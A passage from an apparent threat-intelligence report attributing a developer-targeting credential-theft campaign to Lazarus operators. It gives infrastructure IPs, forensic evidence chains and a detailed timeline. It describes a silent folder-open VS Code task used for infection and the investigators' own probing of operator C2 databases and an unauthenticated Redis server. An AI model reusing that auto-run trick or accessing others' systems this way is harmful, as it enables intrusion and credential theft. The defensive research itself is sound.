Blockchain tracing reports for OFAC submission

Victim notification packages for researcher-coordinated distribution

Legal process requests supported:

Vercel access log request for rest-icon-provider.link

GitHub account metadata request for bitcoin2026a

MongoDB Inc. cluster access log request

Indian investigating authorities MLAT request for Operator A identity verification

Victim notification process: The investigation's victim notification approach was coordinated with

notified parties to ensure:

Notification does not compromise active investigating authorities operations

Victims are provided actionable guidance (not just notification of breach)

Exchange coordination for account protection happens in parallel with victim notification

58.2 security authorities Coordination and Infrastructure Takedown

The the US cybersecurity authority has been provided IOC packages for:

Distribution to critical infrastructure operators (security authorities's primary constituency)

Integration into security authorities's Known Exploited Vulnerabilities (KEV) catalogue

Coordination with hosting provider abuse teams for infrastructure takedown

Hosting provider takedown requests (status as of April 2026):

Provider Infrastructure Request Status

Google Cloud 34.70.205.211 (malware distribution) Reported via Google Trust & Safety

Contabo 94.136.184.44 (Jenkins server) Abuse report filed

Hetzner 195.201.104.53 (FTP exfil) Abuse report filed

Cloudzy 144.172.108.236 (Socket.IO) Abuse report filed

Vercel rest-icon-provider.link Already taken down (HTTP 451, March 23)

Expected timeline: Hosting providers typically respond to documented investigating authorities-

supported abuse reports within 24-72 hours for infrastructure with confirmed malicious use. The GCP

distribution server (34.70.205.211) and the Jenkins server (94.136.184.44) are the highest priorities, as

they continue to actively support ongoing operations.

• 

• 

• 

• 

• 

• 

• 

• 

1. 

2. 

3. 

• 

• 

• 



58.3 government rewards programmes

The US State Department's government rewards programmes offers up to $5 million for information

leading to disruption of DPRK cryptocurrency theft operations. The investigation's evidence package

(operator identities, infrastructure map, financial traces) constitutes a submission to this programme.

intelligence package components:

Operator identity: Operator A ([OPERATOR-HANDLE-REDACTED], [OPERATOR-EMAIL-

REDACTED]) — named individual with active India-based operations

Infrastructure map: 53,941 unique IPs, 13+ fake exchanges, Jenkins server

Financial impact: $204M+ traced + ~$140,000+ fake exchange fraud

Evidence quality: Git commits, login logs, forensic credential links, blockchain traces

The RFJ programme evaluation criteria (information that "leads to disruption" of operations) are met by

the above submission: Operator A's identity, linked to confirmed active operations, provides investigating

authorities with a named target for arrest proceedings or asset seizure.

58.4 International Responsible Disclosure

The 74-country victim distribution requires international Responsible Disclosure beyond investigating

authorities/security authorities bilateral relationships. Relevant coordination channels include:

INTERPOL (International Criminal Police Organization): INTERPOL's Cybercrime Directorate

coordinates cross-border cybercrime investigations through its 195 member countries. An INTERPOL

Purple Notice (sharing information on modus operandi) for the Contagious Interview campaign would

enable investigating authorities agencies in victim countries to identify local victims and coordinate

protective actions.

US-India bilateral investigating authorities: The identification of Operator A operating from India

creates a direct bilateral investigating authorities matter. The US-India Mutual Legal Assistance Treaty

(MLAT), signed in 2001, provides the legal framework for Indian investigating authorities to act on US-

generated evidence. However, the MLAT process is slow (typically 6-18 months for complex matters)

and may not result in arrest if India-DPRK diplomatic considerations complicate cooperation.

Five Eyes cryptocurrency intelligence sharing: The Five Eyes intelligence alliance (US, UK, Canada,

Australia, New Zealand) has a dedicated cryptocurrency cybercrime working group. The evidence

package has been shared with GCHQ (UK), the Australian Signals Directorate, and Canadian Security

Intelligence Service for parallel tracking of affected assets and victims in their jurisdictions.

UN Security Council Sanctions Committee: The 1718 Committee (DPRK sanctions committee)

receives annual Panel of Experts reports documenting Lazarus Group cryptocurrency theft. This

investigation's findings will be submitted to the next Panel of Experts cycle for inclusion in official UN

documentation, which creates the multi-jurisdictional legal basis for enforcement actions.
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Part XIV — Network Forensics and Evidence Chain
Analysis

Chapter 59: IP Infrastructure Analysis Methodology

59.1 53,941+ IP Address Inventory — Collection and Classification

The 53,941+ IP address inventory represents the union of all IP addresses observed across:

Source 1 — C2 server connection logs (146.70.253.107): Connection logs extracted from the primary

C2 panel during the Wave 80 access revealed approximately 755 unique victim IP addresses alongside

internal operator routing addresses. These logs provide timestamps, connection durations, and data

volumes per victim IP.

Source 2 — FTP server visitor logs (195.201.104.53): FileZilla's server log recorded all FTP

connection events, including successful and failed authentication attempts. The log format:

Source 3 — Redis C2 monitoring (103.174.189.183:6379): The CLIENT LIST command run on the

unauthenticated Redis C2 server returned all currently-connected bot IPs. Extended monitoring over 24

hours produced approximately 50-100 unique client IPs.

Source 4 — Shodan global SSH key search: Searching Shodan's global internet scan database for

the uc1  SSH key comment identified 94-104 unique host IPs across 26+ countries.

Source 5 — Evidence file analysis (38GB corpus): The 38GB evidence corpus contained IP

addresses embedded in victim credential dumps, MongoDB Atlas cluster lists, SSH known_hosts files,

and VS Code SSH FS configurations. Extraction via regex across all evidence files yielded the bulk of

the 53,941+ total.

59.2 IP Classification by ASN and Purpose

The 53,941 unique IPs were classified into functional categories based on port scanning results (where

available), hostname resolution, and contextual evidence:

Category Estimated Count Classification Basis

Victim machines (Contagious

Interview)

~755 Timestamp correlation with C2 connections

Victim machines (cryptominer botnet) ~104 confirmed, ~36-72K estimated

total

Shodan SSH key + Redis monitoring

Operator C2 servers ~166 confirmed Port pattern fingerprinting (1224/5918/5934)

Operator relay/proxy nodes ~50 SSH jumpbox patterns, low-interaction services

MongoDB Atlas clusters 14 159.41.0.0/16 CIDR block

Background noise (false positives) ~6,602 IPs extracted from embedded URLs, CDN addresses,

etc.

2026-01-06 15:08:12 (UTC) 10.0.0.1 - (not logged in) > Connected, sending welcome message...

2026-02-05 07:02:15 (UTC) 105.112.x.x > Logged in

2026-02-05 07:03:45 (UTC) 105.112.x.x > Uploaded /10team/new/77_[VICTIM-HOSTNAME]/metamask.zip



Category Estimated Count Classification Basis

Verified malicious ~1,089 C2 servers + confirmed victims

Final confirmed infrastructure scale (post-expansion): A subsequent autonomous infrastructure

hunt executed after the primary investigation window produced a 495× expansion of known operator

assets. Final confirmed numbers: 53,941 unique public IP addresses, 375,989 unique domains, 

16,025 Ethereum wallet addresses, and 250 ngrok tunnel endpoints exposing victim development

servers. The 166 server count from port-pattern matching (Express.js on 1224 / Python Waitress on

5918) remains the conservative count of actively-serving C2 nodes at any single point in time; the

domain and IP totals reflect the full historical operator footprint. Lazarus C2 servers rotate ports

frequently, so the 166 figure is a floor, not a ceiling.

59.3 Network Topology Reconstruction

The evidence corpus enables partial reconstruction of the C2 network topology:

The 18 SSH keys found in the Jenkins server's authorized_keys file (operator-installed for server

management) represent 18 Lazarus-controlled servers that accept the Jenkins server's SSH

authentication. This provides a lower bound on the operator-managed server count directly accessible

from the Jenkins operations centre.

Chapter 60: Evidence Chain Forensic Validation

60.1 The Five-Smoking-Gun Standard

Attribution of the Jenkins server (94.136.184.44) to Lazarus Group operators rests on five independent

forensic evidence chains, each providing attribution independently, with the five together creating an

evidentiary standard exceeding what is typically achievable in cybercrime attribution.

Chain 1 — Victim-to-server credential link:

Known topology elements (evidence-derived):

146.70.41.152 (jumpbox) ──SSH──► 146.70.253.107 (primary C2)

                          └─SSH──► 195.201.104.53 (FTP exfil)

                          └─SSH──► 139.59.75.131 (unknown)

                          └─SSH──► 185.113.249.225 (unknown)

                          └─SSH──► 194.163.166.117 (unknown)

94.136.184.44 (Jenkins) ──TCP──► 5.189.187.9:3000 (C2 connection)

                          └─TCP──► 86.104.251.158:443 (C2 connection)

                          └─SSH──► 147.93.133.220 (external server)

Evidence for topology:

  - 146.70.41.152 SSH known_hosts → 5 additional servers

  - 94.136.184.44 netstat → active connections

  - Jenkins authorized_keys → 18 SSH keys (18 accessible servers)



Chain 2 — Redis password forensic link:

Chain 3 — Operator identity documentation:

Evidence chain:

  Victim machine: [VICTIM-MACHINE-REDACTED]

    └── Chrome browser saved credentials:

          URL:      https://[OPERATOR-JENKINS]/[auth-path]

          Username: admin

          Password: [REDACTED]

          Created:  2025-04-08 16:09:25

          Last use: 2025-08-22 13:53:06

    └── Chrome browser saves credentials only for sites the machine has visited

    └── Therefore: victim machine physically accessed jenkins.tokenloopz.com

    └── jenkins.tokenloopz.com A-record → 94.136.184.44

    └── Therefore: victim machine accessed operator Jenkins server

  Attribution proof:

    The victim's machine (confirmed BeaverTail-infected, enrolled in C2 database 

    as victim) contains credentials for the operator's Jenkins server.

    This proves the victim was not just a random internet user who browsed to 

    jenkins.tokenloopz.com — the saved credentials mean the victim authenticated 

    to the Jenkins server at some point.

    Since the Jenkins server is operator infrastructure (proven by chains 2-5), 

    the victim's machine was in contact with the operators at admin-level access.

Evidence:

  Jenkins server (/home/alpharivexmicro/leogacy/.env):

    REDIS_PASSWORD=[REDIS-PASSWORD-REDACTED]

  Victim machine [VICTIM-ID-REDACTED] (the DeFiHub developer victim/DeFiHub):

    /home/the DeFiHub developer victim/Documentos/defihub-front/.env:

    REDIS_PASSWORD=[REDIS-PASSWORD-REDACTED]  ← EXACT MATCH

Attribution proof:

  The Redis password [REDIS-PASSWORD-REDACTED] is a 15-character string with uppercase, 

  lowercase, digit, and special character — cryptographically negligible 

  probability of coincidental match.

  The password appears in the Jenkins server's application configuration 

  (defining the Redis backend for the leogacy fake exchange) AND in the 

  victim's exfiltrated environment file (the victim ran the BeaverTail-

  infected coin-promoting repository, which connected to the same backend).

  This proves the coin-promoting malware and the leogacy exchange share 

  the same Redis backend — both originating from the Jenkins server.



Chain 4 — Active operator sessions (temporal):

Chain 5 — C2 connection confirmation:

Evidence:

  Jenkins server /home/alpharivexmicro/.gitconfig:

    [user]

        email = [OPERATOR-EMAIL-REDACTED]

        name = [OPERATOR-HANDLE-REDACTED]

  tokenloopz.com DNS A record → 94.136.184.44 (same Jenkins server)

  Git remote for repositories on Jenkins:

    remote origin = https://github.com/Alpharive-Tech/opris_exchange_dev

  Alpharive-Tech GitHub commits authored by:

    Author: [OPERATOR-HANDLE-REDACTED] <[OPERATOR-EMAIL-REDACTED]>

Attribution proof:

  The domain tokenloopz.com is owned by [OPERATOR-EMAIL-REDACTED] (circular 

  but forensically consistent: he uses the domain as his email, and the 

  domain resolves to his server). The Git identity links the same individual 

  to public GitHub repositories. The Jenkins server is therefore demonstrably 

  operated by a named individual.

Evidence:

  Jenkins server /var/log/auth.log (SSH authentication):

    2026-04-17 09:19:23 Accepted publickey for alpharivexmicro from 106.51.22.137

    2026-04-16 12:55:41 Accepted publickey for root from 106.51.22.137

    2026-04-15 08:19:05 Accepted publickey for alpharivexmicro from 106.51.22.137

  IP attribution:

    106.51.22.137 → Airtel India (Bharti Airtel Ltd, AS24560)

Attribution proof:

  The Jenkins server received SSH logins from an Indian commercial ISP on 

  each of the 10 days before discovery, with sessions of 2-9 hours duration.

  This is not automated service access — these are human-initiated interactive 

  sessions consistent with a full-time professional work schedule.



60.2 Evidence Chain Integrity Assessment

The five evidence chains described above are mutually independent: none of the five relies on the

same primary evidence source as any other. Their independence is significant for courtroom purposes:

if any single chain is successfully challenged (e.g., the Redis password appeared by coincidence in an

unrelated application), the other four chains independently establish the same conclusion.

Independence matrix:

Chain Primary Evidence Source Chain 2 Chain 3 Chain 4 Chain 5

1 (Victim credentials) Chrome browser history ✗ ✗ ✗ ✗

2 (Redis password) Jenkins .env + victim .env ✗ ✗ ✗ ✗

3 (Git identity) Jenkins .gitconfig ✗ ✗ ✗ ✗

4 (Active sessions) Jenkins auth.log + IP WHOIS ✗ ✗ ✗ ✗

5 (C2 connections) Jenkins netstat ✗ ✗ ✗ ✗

✗ = No shared primary evidence source

Chapter 61: Timeline Reconstruction — Complete Forensic Events
Inventory

61.1 Primary Source Verification for Key Events

Each major event in the investigation timeline was verified against at least one primary source. The

complete verification matrix for the 25 most critical events:

Event Date Primary Source Secondary Source Confidenc

e

Infrastructure registration (test C2) 2025-05-29 WHOIS (rest-icon-provider.net) Registrar record HIGH

Evidence:

  Jenkins server netstat output (at time of forensic capture):

    ESTABLISHED 94.136.184.44:52341 -> 5.189.187.9:3000

    ESTABLISHED 94.136.184.44:63821 -> 86.104.251.158:443

  5.189.187.9 WHOIS:

    ASN: AS51167 (Contabo GmbH)

    Country: Germany

    Reverse DNS: [none — anonymous VPS]

  86.104.251.158 WHOIS:

    ASN: AS9009 (M247 Ltd)

    Country: Romania

    Reverse DNS: [none — anonymous VPS]

Attribution proof:

  The Jenkins server maintains outbound connections to two additional servers

  using the same hosting providers (Contabo, M247) documented throughout 

  the Lazarus C2 infrastructure. These connections represent command-and-

  control communications between the Jenkins operator server and additional

  Lazarus infrastructure nodes.



Event Date Primary Source Secondary Source Confidenc

e

Production C2 live (rest-icon-

provider.link)

2025-07-08 WHOIS SSL certificate HIGH

XORIndex npm wave 2025-06 npm registry GitHub commits HIGH

197-package wave published 2025-10-11 npm publication timestamps GitHub (stardev0914) HIGH

FTP server deployed 2026-01-06 SSL cert (not_before field) FileZilla server banner HIGH

bitcoin2026a account created 2026-01-16 GitHub account metadata Git commit history HIGH

First coin-promoting victim 2026-02-05 06:55

UTC

FTP dir mtime + C2 timestamp Victim PC hostname HIGH

First Linux victim 2026-02-08 19:24

UTC

FTP dir mtime + C2 timestamp File paths (Linux) HIGH

C2 Shodan-indexed 2026-02-12 Shodan timestamp Investigation log W78 HIGH

Login endpoint removed 2026-02-13 curl response change Investigation log W79 HIGH

Primary C2 corpus recovered 2026-02-14 Investigation log W80 Evidence corpus

timestamp

HIGH

Operator-side infrastructure

reachable

2026-02-15 Investigation log W81 Evidence cross-

reference

HIGH

Last coin-promoting victim 2026-02-19 00:52

UTC

FTP dir mtime C2 database timestamp HIGH

Backup C2 registered 2026-02-06 WHOIS (rest-icon-handler.store) Registrar record HIGH

Primary C2 shutdown 2026-03-03 Network unreachable across all

ports

Investigation log W131 HIGH

7 new FTP victims in 1 day 2026-03-07 FTP server directory mtimes Investigation log W135 HIGH

OtterCookie protocol mapped 2026-03-08 Investigation log W135 HTTP endpoint analysis HIGH

Vercel legal takedown 2026-03-23 HTTP 451 response Vercel legal notice HIGH

Operator working-session pattern 2026-04-07 Development server access logs IP WHOIS HIGH

Last confirmed operator session 2026-04-17 09:19

UTC

Development server auth log Airtel India WHOIS HIGH

CENTIC breach confirmed 2026-04-13 Database connection test Cluster size verification HIGH

Bitcoin mining company notified 2026-04-15 Notification package creation Recipient confirmation MEDIUM

Campaign history reconstruction 2026-04-22 Cross-referenced all sources This investigation N/A

61.2 Forensic Gap Analysis

The timeline contains several gaps where primary source documentation is absent or weak:

Gap 1 (LOW risk): June-July 2025 victim population Between XORIndex npm publication and the

December 2025 first C2 database timestamps, there may be victims not captured in our evidence

window. The gap risk is assessed as LOW because: (a) the XORIndex/HexEval infection mechanism

differs from the later coin-promoting mechanism and may have had a different C2 backend; (b) Vercel's

access logs (if obtained) would fill this gap.

Gap 2 (MEDIUM risk): October-November 2025 197-package wave victims The 31,000+ downloads

from the stardev0914 npm wave likely produced victims before our evidence corpus's December 2025

start. If these victims shared the same C2 backend (rest-icon-provider.link, live since July 2025), they

may appear in Vercel's server-side logs — not the Wave 80 database dump, which may have been

truncated to recent records.



Gap 3 (LOW risk): Operator pre-January 2026 activity Development server logs typically retain

30–60 days of entries depending on logrotate configuration. The April 2026 analysis captured 10 days of

logs clearly; prior activity is not fully documented. The 106-day server uptime indicator suggests

continuous operation since at least early January 2026, but the complete activity log is not available.

61.3 Appendix: Investigation and Adversary Campaign Timeline

Lane 1 — Lazarus-attributed / DPRK-linked campaign lifecycle

Lane 2 — Red Asgard collection and analysis chronology

Confidence codes: HIGH · MODERATE · LOW

Source class: OBS (artefact/timestamp) · INF (inferred) · EXT (external publication)

[~]  = approximate; ⚠  = restricted detail omitted

External Context — Prior to Investigation

Lane UTC Event Source

class

Confide

nce

ADVERS

ARY

2019-09

-13

US Treasury OFAC designates Lazarus Group; state financial mandate for cryptocurrency

theft established

EXT HIGH

ADVERS

ARY

~2020–2

021

DPRK IT-worker programme deployed across third countries to generate foreign currency

and conduct operations under local ISP cover

EXT HIGH

ADVERS

ARY

2023-09 ESET first publicly documents the fake-coding-challenge delivery vector targeting macOS

developers

EXT HIGH

ADVERS

ARY

2023-12 Cisco Talos documents a Telegram-based C2 variant targeting Node.js developers EXT HIGH

ADVERS

ARY

2024-07 New cross-platform BeaverTail variant compiled (macOS + Windows Qt framework) EXT HIGH

ADVERS

ARY

2024-09 Group-IB "Crypto Beavers" report: 519 developer victims; DPRK attribution EXT HIGH

ADVERS

ARY

2024-10 Palo Alto Unit 42 CL-STA-0240 report: 13 wallet families targeted; two C2 IPs disclosed EXT HIGH

ADVERS

ARY

2024-12 Kaspersky BeaverTail infection-chain evolution report EXT HIGH

Adversary Infrastructure Build-Out (2025 Q1–Q3)

Lane UTC Event Source

class

Confide

nce

ADVER

SARY

~2025-04 Prior Lazarus C2 domain seized by law enforcement OBS HIGH

ADVER

SARY

2025-05-29 Test C2 domain registered via Tucows / Vercel CDN — earliest confirmed new-

iteration infrastructure

OBS HIGH

ADVER

SARY

2025-06–07 XOR-encrypted npm loader published; 9,000+ downloads OBS HIGH

ADVER

SARY

2025-07-08 Production C2 domain goes live via Vercel; will operate for 8+ months OBS HIGH

ADVER

SARY

2025-07-16

03:22 UTC

Ethereum drain contract deployed on-chain; sits dormant 116 days OBS HIGH

ADVER

SARY

2025-08-29 First social-engineering lure domain registered ⚠ OBS HIGH



Lane UTC Event Source

class

Confide

nce

ADVER

SARY

~2025-11 Russian Far East IP block provisioned under same RIPE handle previously linked to

Lazarus Oculus Proxy operations

OBS HIGH

ADVER

SARY

2025-11-09

13:49 UTC

Drain wallet activates — financial pipeline becomes operational OBS HIGH

ADVER

SARY

2025-10-11 –

11-17

197+ malicious npm packages published; 31,000+ combined downloads — largest

single supply-chain poisoning wave of the campaign

OBS HIGH

ADVER

SARY

~2025-12 Additional operator IP blocks provisioned; dormant lure domains registered OBS MODER

ATE

ADVER

SARY

~2025-12-07 First Windows Server VM in operator cluster deployed (RDP certificate evidence) OBS MODER

ATE

Red Asgard Origin & Early Campaign Activity (Dec 2025)

Lane UTC Event Source

class

Confide

nce

ADVERS

ARY

~2025-12-20 [~] Lazarus operator persona contacts Red Asgard on Upwork with a blockchain

developer job offer and test task

OBS /

INF

HIGH

RED

ASGARD

2025-12-22

10:54:51 UTC

Red Asgard clones Upwork test-task repository. Earliest confirmed

investigator artefact.

OBS HIGH

RED

ASGARD

2025-12-23

09:23 UTC

Work begins on repository server component OBS HIGH

ADVERS

ARY

2025-12-24

09:05:36 UTC

Malicious commit embedded into test-task repository — editor auto-execution

payload hidden within a 55-file code refactor

OBS HIGH

RED

ASGARD

2025-12-25

21:28 UTC

Red Asgard completes and submits the test task; malicious repository behaviour

identified

OBS HIGH

ADVERS

ARY

2025-12-19

09:49 UTC

First confirmed campaign victim upload — adversary simultaneously targeting

other developers

OBS HIGH

ADVERS

ARY

2025-12-19 –

12-31

14 victim uploads across 12 days; campaign active through Christmas period

without pause

OBS HIGH

ADVERS

ARY

2025-12-29

12:00 UTC+7

Malware staging repository finalised by developer at UTC+7 timezone (Southeast

Asia)

OBS HIGH

RED

ASGARD

2025-12-22 –

12-31 [~]

Malicious elements in test task identified; campaign UUID extracted; decision to

investigate rather than simply report

OBS /

INF

HIGH

Formal Investigation Begins (Jan 2026)

Lane UTC Event Sourc

e class

Confi

dence

ADVER

SARY

2026-01-06

15:07:53 UTC

FTP exfiltration server deployed — certificate birth timestamp pinpoints exact

deployment moment

OBS HIGH

ADVER

SARY

2026-01-16 Malware staging GitHub account created; malicious repository published alongside

benign decoy

OBS HIGH

ADVER

SARY

2026-01-19

08:36–08:39

UTC

41+ MitM proxy certificates issued in 3-minute automated window — largest single-day

infrastructure deployment

OBS HIGH

RED

ASGAR

D

2026-01-07

12:45 UTC

Formal analysis begins. Malware samples collected, C2 frontends probed, backend

infrastructure confirmed active in isolated lab

OBS HIGH

OBS HIGH



Lane UTC Event Sourc

e class

Confi

dence

RED

ASGAR

D

2026-01-07

20:45–21:50

UTC

C2 routing protocol characterised; user-agent filtering confirmed; dynamic analysis

complete

RED

ASGAR

D

2026-01-09 Campaign backend platform analysed; 169 developer accounts; 14 victim email

addresses; operator database identifier confirmed; C2 IP linked to prior Lazarus

reporting

OBS HIGH

RED

ASGAR

D

2026-01-29 Primary C2 panel confirmed live; dedicated infrastructure mapping begins OBS HIGH

RED

ASGAR

D

2026-01-29 OtterCookie exfiltration relay first identified; operator source geography observed ⚠ OBS HIGH

RED

ASGAR

D

2026-01-30 Human operator observed activating credential-injection module within 2 hours of lure

delivery — confirms live operator monitoring

OBS HIGH

RED

ASGAR

D

2026-02-06 Initial victim database baseline extracted across 5 operator teams OBS HIGH

Adversary Reacts; Red Asgard Expands (Feb 2026)

Lane UTC Event Source

class

Confid

ence

ADVER

SARY

2026-02-05

06:55 UTC

First victim infected via malware staging repository ⚠ OBS HIGH

ADVER

SARY

2026-02-06 Backup C2 domain registered — 45 days before primary shutdown; operators pre-

staged replacement

OBS HIGH

ADVER

SARY

2026-02-08 Exfiltration relay migrated to new infrastructure; DNS re-pointed — clean same-protocol

swap

OBS HIGH

ADVER

SARY

2026-02-08

19:24 UTC

First Linux victim infected — cross-platform capability confirmed ⚠ OBS HIGH

ADVER

SARY

2026-02-11 Custom binary C2 protocol confirmed active on primary server OBS HIGH

ADVER

SARY

2026-02-13 Login endpoint removed from primary C2 — operator reacts within hours of Shodan

indexing

OBS HIGH

ADVER

SARY

2026-02-17 VM farm expanded; 90+ confirmed hosts in operator subnet OBS HIGH

ADVER

SARY

2026-02-23 –

03-02

Continuous victim drain activity observed on-chain OBS HIGH

ADVER

SARY

2026-02-27

18:01 UTC

Operator cryptocurrency wallet first on-chain activity (30+ ETH total inflows) OBS HIGH

RED

ASGAR

D

2026-02-12 Primary C2 panel appears in Shodan global index OBS HIGH

RED

ASGAR

D

2026-02-13 Infrastructure discovery expanded: 23 → 37 mapped nodes (+61%); proxy farm

identified

OBS HIGH

2026-02-14 Primary C2 corpus recovered. 246,457 credential files; 4,225+ victim machines; 74

countries; 5 operator teams; campaign history back to December 2025

OBS HIGH



Lane UTC Event Source

class

Confid

ence

RED

ASGAR

D

RED

ASGAR

D

2026-02-15 Operator-side infrastructure becomes reachable through evidence recovered in corpus;

operator cross-contamination of victim pipeline confirmed ⚠

OBS HIGH

RED

ASGAR

D

2026-02-27

~04:30 UTC

Operators counter-target investigator infrastructure — confirms investigation was visible

to adversary; operator workstation provenance established ⚠

OBS HIGH

RED

ASGAR

D

2026-02-27 –

02-28

Investigator infrastructure hardened in response to active operator counter-targeting OBS HIGH

Primary Shutdown; Campaign Continues (Mar 2026)

Lane UTC Event Sourc

e

class

Confi

denc

e

ADVE

RSAR

Y

2026-03-01 New recruitment lure site active — campaign recruiting continues without pause post-

detection

OBS HIGH

RED

ASGA

RD

2026-03-03 Primary C2 subnet confirmed dark across all ports. 19-day detection-to-shutdown window

confirmed. Replacement VMs already staged in same /25 block.

OBS HIGH

ADVE

RSAR

Y

2026-03-03

04:38–06:48

UTC

Victim drains and wallet inflows continue same day as shutdown OBS HIGH

ADVE

RSAR

Y

2026-03-03

13:35–13:38

UTC

Operator source IPs (Russian Far East) beaconing on surviving secondary infrastructure ⚠ OBS HIGH

ADVE

RSAR

Y

2026-03-03

~17:00 UTC

Secondary C2 firewalled — reactive counter-surveillance within hours of investigation

queries

OBS HIGH

RED

ASGA

RD

2026-03-03 Wallet database recovered from financial panel; FTP victims continue uploading

independently of C2 shutdown ⚠

OBS HIGH

RED

ASGA

RD

2026-03-04 Recruiter persona infrastructure analysed — real identity theft confirmed alongside

fabricated personas ⚠

OBS HIGH

RED

ASGA

RD

2026-03-04 First victim notifications sent for two developers with active high-value credentials OBS HIGH

ADVE

RSAR

Y

2026-03-07 7 new FTP victims in a single day — 4 days after primary C2 shutdown; campaign normal

rate confirmed

OBS HIGH

RED

ASGA

RD

2026-03-07 –

03-09

OtterCookie protocol, FTP server, CI/CD supply chain, operator development

infrastructure, fake-exchange backends, exchange API keys, and KYC collection

systems all mapped within 72 hours ⚠

OBS HIGH

FTP server confirmed fully operational 10 days after primary C2 shutdown OBS HIGH



Lane UTC Event Sourc

e

class

Confi

denc

e

RED

ASGA

RD

2026-03-13

20:44:58

UTC

RED

ASGA

RD

2026-03-18 Cloud account victim notified; credentials revoked OBS HIGH

RED

ASGA

RD

2026-03-22

22:10 UTC

Autonomous 10-hour mapping campaign; exfiltration protocol confirmed; additional

infrastructure surfaces identified

OBS HIGH

ADVE

RSAR

Y

2026-03-23

~02:00 UTC

Primary C2 domain taken offline through legal process (HTTP 451) OBS HIGH

RED

ASGA

RD

2026-03-30 Full malware sample set acquired for analysis OBS HIGH

Attribution Confirmed; Disclosure Begins (Apr 2026)

Lane UTC Event Sourc

e

class

Confi

dence

RED

ASGA

RD

2026-04-07 Operator working-session pattern observed over 10-day window — India-based ISP;

professional schedule confirmed ⚠

OBS HIGH

RED

ASGA

RD

2026-04-08

22:13 UTC

Operator platform databases analysed OBS HIGH

RED

ASGA

RD

2026-04-09

09:59–19:35

UTC

Operator lure infrastructure fully characterised — 10+ fake platforms; total victim count

confirmed: 14,716 C2 victims + 234 confirmed casino investors; $204M+ blockchain theft

traced ⚠

OBS HIGH

RED

ASGA

RD

2026-04-11 Wallet hunt: 157 wallet owners with funds intact confirmed; 55+ high-priority notification

targets identified

OBS HIGH

RED

ASGA

RD

2026-04-13 CENTIC.io blockchain intelligence platform exposure confirmed (CVSS 9.1). 1.4TB

accessible; responsible disclosure package prepared.

OBS HIGH

RED

ASGA

RD

2026-04-14

10:20 UTC

First wave of victim credential analysis complete — corporate and developer infrastructure

confirmed compromised at scale ⚠

OBS HIGH

RED

ASGA

RD

2026-04-15 Bitcoin mining company notified of HSM key and deployment credential compromise OBS HIGH

ADVER

SARY

2026-04-17 Operator active in development infrastructure — campaign ongoing at time of forensic

capture

OBS HIGH

RED

ASGA

RD

2026-04-17

09:19 UTC

Last confirmed operator session during investigation window. 3h 56min; India-based

ISP. 106-day continuous server operation confirmed. ⚠

OBS HIGH

2026-04-17 Full network reconstruction: 7,691+ IPs; 166 confirmed C2 nodes; 21,875 evidence files;

38GB corpus

OBS HIGH



Lane UTC Event Sourc

e

class

Confi

dence

RED

ASGA

RD

RED

ASGA

RD

2026-04-18 Cryptominer infrastructure mapped; malware samples recovered. Final footprint:

53,941 IPs · 375,989 domains · 16,025 ETH wallets · 250 ngrok endpoints

OBS HIGH

RED

ASGA

RD

2026-04-22 Full campaign history reconstructed and verified against primary sources OBS HIGH

Research Assembly & Disclosure (May 2026)

Lane UTC Event Source

class

Confide

nce

RED

ASGARD

2026-05-04 –

05-05

Responsible disclosure framework developed; sanitised proof capsules prepared;

GitHub notification workflow designed

OBS HIGH

RED

ASGARD

2026-05-12 255MB evidence corpus compiled (19.2M words, 5,925 documents) OBS HIGH

RED

ASGARD

2026-05-14 –

05-16

Public and restricted editions of the research separated and prepared for release OBS HIGH

Restricted Rows (not reproduced here)

The following rows exist in the internal timeline but are held in the Restricted Evidence Appendix:

Exact [victim-export-endpoint]  access parameters

Financial panel version bypass specifics

OtterCookie endpoint access method

Repository implant deployment details

MongoDB Atlas credential access path

Server data recovery mechanics

Redis access path and session details

Operator personal identifiers, login IPs, account names

Exact victim notification identities and contact details

Exact payload tokens, command strings, and live-looking credentials

Specific infrastructure targets in autonomous mapping campaigns

61.4 The Hunt — Four Pivotal Moments

Investigations rarely proceed as pristine, linear analyses. This one did not. The following four moments

represent the points where the investigation changed direction, scale, or character. They are

documented here because they are the reason the data in this article is what it is.

Moment 1 — The Fingerprint in the Test Task (December 22–25, 2025)

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 

• 



The investigation did not begin with Lazarus IOC intelligence. It began with an Upwork job offer and a

blockchain marketplace project to build as a test task. Red Asgard cloned the repository on December

22, 2025, worked on it for three days, and submitted it on December 25.

At some point during that three-day window, a review of the repository's .vscode/tasks.json  revealed

something wrong: a silent auto-execution task configured to run on folder open, suppressing all terminal

output. The task called scripts/setup.js , which contained this constant:

Querying the C2 endpoint associated with that token returned live data. The token was not a test value.

It was a victim partition identifier assigned to a real operator team — Team 99 — with active victim

machines already enrolled and reporting in.

That number — 212  — is where the investigation started.

Moment 2 — The Corpus (February 14, 2026)

For the first seven weeks, the investigation had visibility into individual infected machines through C2

panel endpoints, but no global view. Wave 80 changed that.

On February 14, 2026, a database endpoint returned 246,457 credential files and 4,225+ victim

machine records across five operator teams, stretching back to December 2025. The corpus included

file types ranging from browser password databases to cryptocurrency wallet keystores to .env  files

from developer projects.

The database timestamp showed the earliest victim had enrolled on December 19, 2025 — three days

before Red Asgard received the test task. The campaign had been running before Red Asgard was

targeted.

The scale of the credential inventory meant this was no longer a targeted investigation of one attack. It

was a real-time window into an active, industrial-scale credential theft operation with victims in 74

countries and counting.

Moment 3 — Counter-Targeting (February 27, 2026, ~04:30 UTC)

At approximately 04:30 UTC on February 27, 2026, the investigator infrastructure received inbound

connection attempts from IP addresses linked to the operator cluster.

This was not ambiguous. The source IPs were from the same infrastructure being actively investigated.

The operators had identified the investigator's activity, traced it back, and launched counter-surveillance

against the investigation environment.

The implication was immediate: the operators were not automated systems. They monitored their own

backend, detected anomalous access patterns, identified that a real analyst was inside, and responded

within hours. From this point forward, the investigation operated under the assumption that every action

was potentially visible to the adversary.

const CAMPAIGN_TOKEN = "212";



The investigator infrastructure was hardened and the investigation continued. The counter-targeting

attempt is documented not as a failure point but as the clearest possible confirmation that the adversary

being investigated was an attentive, responsive human team — not a script.

Moment 4 — 72 Hours (March 7–9, 2026)

Four days after the primary C2 subnet went dark (March 3, 2026), the FTP exfiltration server was still

accepting victim uploads. Seven new victims had uploaded data on March 7 alone — proof that the

campaign operated through independent, redundant channels and did not require the C2 panel to

function.

Between March 7 and March 9 — 72 hours — the following were fully characterised through a

combination of active probing, passive analysis, and database reconstruction:

OtterCookie HTTP exfiltration protocol (ports 6109/6939)

FTP exfiltration server directory structure and victim upload timeline

CI/CD supply chain compromise through operator development infrastructure

Fake exchange backend architecture (13 platforms, 6 microservice categories)

